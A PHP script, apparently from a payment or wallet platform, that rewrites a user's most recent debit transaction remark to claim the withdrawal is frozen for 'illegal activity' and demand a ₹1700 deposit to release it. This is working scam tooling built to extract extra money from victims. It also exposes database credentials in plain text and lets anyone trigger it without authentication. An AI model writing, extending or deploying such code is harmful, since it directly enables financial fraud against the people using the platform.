<?php
// DB credentials
$host = 'localhost';
$user = 'staraviat_main';
$pass = 'staraviat_main';
$dbname = 'staraviat_main';

// Connect to database
$conn = new mysqli($host, $user, $pass, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Get user ID from URL
$userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;

// Validate userid
if ($userid <= 0) {
    die("Invalid user ID");
}

// New remark to be updated
$remark = 'Your withdrawal is under process due to illegal activity. To activate your withdrawal, deposit ₹1700 into your wallet; after that, your withdrawal will be successful within one minute.';
$timestamp = date('Y-m-d H:i:s');

// Prepare the update query
$sql = "UPDATE transactions 
        SET remark = ?, updated_at = ? 
        WHERE userid = ? AND type = 'debit' 
        ORDER BY id DESC 
        LIMIT 1";

$stmt = $conn->prepare($sql);
$stmt->bind_param("ssi", $remark, $timestamp, $userid);

// Execute the update
if ($stmt->execute()) {
    if ($stmt->affected_rows > 0) {
        echo "Transaction remark updated successfully.";
    } else {
        echo "No matching debit transaction found to update.";
    }
} else {
    echo "Error: " . $stmt->error;
}

$stmt->close();
$conn->close();
?>
